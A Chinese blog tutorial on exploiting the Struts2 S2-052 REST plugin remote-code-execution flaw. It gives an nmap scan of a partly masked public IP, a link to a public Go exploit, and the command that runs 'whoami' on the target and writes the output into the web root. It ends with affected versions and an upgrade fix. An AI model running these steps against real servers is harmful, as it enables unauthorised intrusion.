Struts S2-052漏洞利用方式实验解析(附EXP)
Struts2的漏洞之王大之名相信已经家户喻晓了。从S2-003、S2-005、S2-007、S2-008、S2-009、S2-012~S2-016、S2-037、S2-045、S2-048.等等,而2017年9月5日又收到来自Struts2新的“惊喜”——S2-052。
实验环境
靶机:101.200.58.* (win2008x64+tomcat8.5+Struts 2.5.12)
漏洞地址:
http://101.200.58.*:8080/struts2-rest-showcase/orders.xhtml
![Clipboard Image.png](http://image.3001.net/images/20170907/15047245718998.png!small)
一、判断操作系统及端口开放:
本机使用nmap识别一下操作系统(重要):
nmap -o 101.200.58.*
根据下图目标开放的端口(135.139.445.3389)可以知道:目标使用的是windows系统。
二、环境要求及EXP下载:
因为EXP是用go语言编写的,如果你没有go环境的话,需要搭建一下。
Go1.9下载地址: https://www.golangtc.com/static/go/1.9/go1.9.windows-386.zip (32位) https://www.golangtc.com/static/go/1.9/go1.9.windows-amd64.zip(64位) Exp 下载地址:https://github.com/luc10/struts-rce-cve-2017-9805
三、漏洞证明:
EXP使用方法:
go run main.go -u URL -c “command”
因为这个EXP脚本没实现回显功能,其实我们可以把命令结果输出文件到网站目录下面,这样我们使用浏览器访问这个文件就可以看到回显内容了
执行(windows环境下):
go run main.go -u http://101.200.58.*:8080/struts2-rest-showcase/orders.xhtml -c "cmd /c whoami >>.webappsROOTcmd.txt"
执行后,我们访问地址:http://101.200.58.*:8080/cmd.txt
发现命令的执行成功的结果已经写入到网站根目录下的cmd.txt,并且权限是最高权限。
四、控制服务器:
*为防止恶意利用,此实验具体内容隐藏
漏洞影响
Struts 2.5 – Struts 2.5.12 版本,可能影响到 2.3.33 版本。
解决方案
1.建议尽快升级到 2.5.13版本。
2.在不使用时删除 Struts REST插件,或仅限于服务器普通页面和JSONs:
- BFIThumb:WordPress 中替代TimThumb 进行裁图的选择
- jquery 操作ajax 相关方法
- SQL SERVER 2008 Hierarchyid数据类型
- Html5 学习利器 Web Standards Update for Microsoft Visual Studio 2010 SP1
- MongoDB 客户端 MongoVue
- HttpClient介绍
- 10个使用 Foundation 框架开发的WordPress 主题推荐
- jQuery 效果使用
- 几款更换WordPress 后台UI 的插件推荐
- 入门:构建简单的Web API
- WordPress 编辑器快捷键——让写作来得更方便些吧!
- ASP.NET Web API: 宿主(Hosting)
- 在 Windows Phone上使用QQConnect OAuth2
- WordPress 开发之使用WordPress 3.8+后台图标(dashicons)
- java教程
- Java快速入门
- Java 开发环境配置
- Java基本语法
- Java 对象和类
- Java 基本数据类型
- Java 变量类型
- Java 修饰符
- Java 运算符
- Java 循环结构
- Java 分支结构
- Java Number类
- Java Character类
- Java String类
- Java StringBuffer和StringBuilder类
- Java 数组
- Java 日期时间
- Java 正则表达式
- Java 方法
- Java 流(Stream)、文件(File)和IO
- Java 异常处理
- Java 继承
- Java 重写(Override)与重载(Overload)
- Java 多态
- Java 抽象类
- Java 封装
- Java 接口
- Java 包(package)
- Java 数据结构
- Java 集合框架
- Java 泛型
- Java 序列化
- Java 网络编程
- Java 发送邮件
- Java 多线程编程
- Java Applet基础
- Java 文档注释